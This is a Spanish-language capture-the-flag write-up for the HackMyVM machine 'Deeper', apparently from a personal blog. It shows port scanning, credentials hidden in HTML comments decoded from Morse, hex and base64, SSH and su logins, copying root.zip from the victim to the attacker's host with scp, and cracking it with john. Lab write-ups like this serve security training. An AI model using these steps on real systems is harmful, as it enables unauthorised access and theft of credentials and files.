cd ~/blog

~/writeups/hmv/027-deeper.md

027 - Deeper

easy Linux hmv 27-02-2024
Credentials hidden in HTML comments (morse/hex/base64)ZIP password cracking
hackmyvm.eu/machines/machine.php?vm=Deeper

~1 min de lectura


Comenzamos escaneando los puertos de manera general y específica:

 sudo nmap -p- -sS --min-rate 5000 -n -Pn -oG 01-allPorts 192.168.1.21
 nmap -sCV -p22,80 -oN 02-targeted.txt 192.168.1.21
Starting Nmap 7.94 ( https://nmap.org ) at 2024-02-27 00:42 -03
Nmap scan report for 192.168.1.21
Host is up (0.00033s latency).

PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 9.2p1 Debian 2 (protocol 2.0)
| ssh-hostkey:
|   256 37:d1:6f:b5:a4:96:e8:78:18:c7:77:d0:3e:20:4e:55 (ECDSA)
|_  256 cf:5d:90:f3:37:3f:a4:e2:ba:d5:d7:25:c6:4a:a0:61 (ED25519)
80/tcp open  http    Apache httpd 2.4.57 ((Debian))
|_http-title: Deeper
|_http-server-header: Apache/2.4.57 (Debian)
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 7.48 seconds

Enumeramos con gobuster:

 gobuster dir -u 192.168.1.21 -w ~/Documentos/wordlists/SecLists/Discovery/Web-Content/directory-list-2.3-medium.txt -x html,php,txt -r
...
/index.html           (Status: 200) [Size: 666]
/img                  (Status: 200) [Size: 1333]
...

El nombre de la máquina ("Deeper") es la pista: en el código fuente del index hay un comentario que nos invita a "ir más profundo":

<!-- GO "deeper" -->

En http://192.168.1.21/deeper/:

<!-- GO evendeeper -->

Y en http://192.168.1.21/deeper/evendeeper/ encontramos un usuario en morse y una contraseña codificada:

<!-- USER .- .-.. .. -.-. . -->
(ALICE)
<!-- PASS 53586470624778486230526c5a58426c63673d3d -->

Decodificamos la contraseña (hex → base64):

 echo "53586470624778486230526c5a58426c63673d3d" | xxd -r -p
SXdpbGxHb0RlZXBlcg==
 echo "SXdpbGxHb0RlZXBlcg==" | base64 -d
IwillGoDeeper

Nos conectamos por SSH como alice y obtenemos la primera flag. En su home hay un archivo oculto con el nombre del siguiente usuario y otro mensaje en hexadecimal:

 echo "535746745247566c634556756233566e61413d3d" | xxd -r -p
SWFtRGVlcEVub3VnaA==
 echo "SWFtRGVlcEVub3VnaA==" | base64 -d
IamDeepEnough

Con esa contraseña cambiamos al usuario bob:

alice@deeper:~$ su bob
Password:
bob@deeper:/home/alice$

En el home de bob hay un ZIP sospechoso que transferimos a nuestra máquina con scp:

# Atacante
 systemctl start sshd
# Víctima
bob@deeper:~$ scp root.zip wh01s17@192.168.1.10:/home/wh01s17/Documentos/maquinas/hmv/01-easy/deeper/content

Está cifrado, así que crackeamos su contraseña con john:

 zip2john root.zip > hash
 john -w:/home/wh01s17/Documentos/wordlists/rockyou.txt hash
...
bob              (root.zip/root.txt)
...

Con las credenciales de root obtenidas, capturamos la flag.

Fin.

Machine rooted ✓

user & root flags capturados — redactados en el sitio público

// relacionados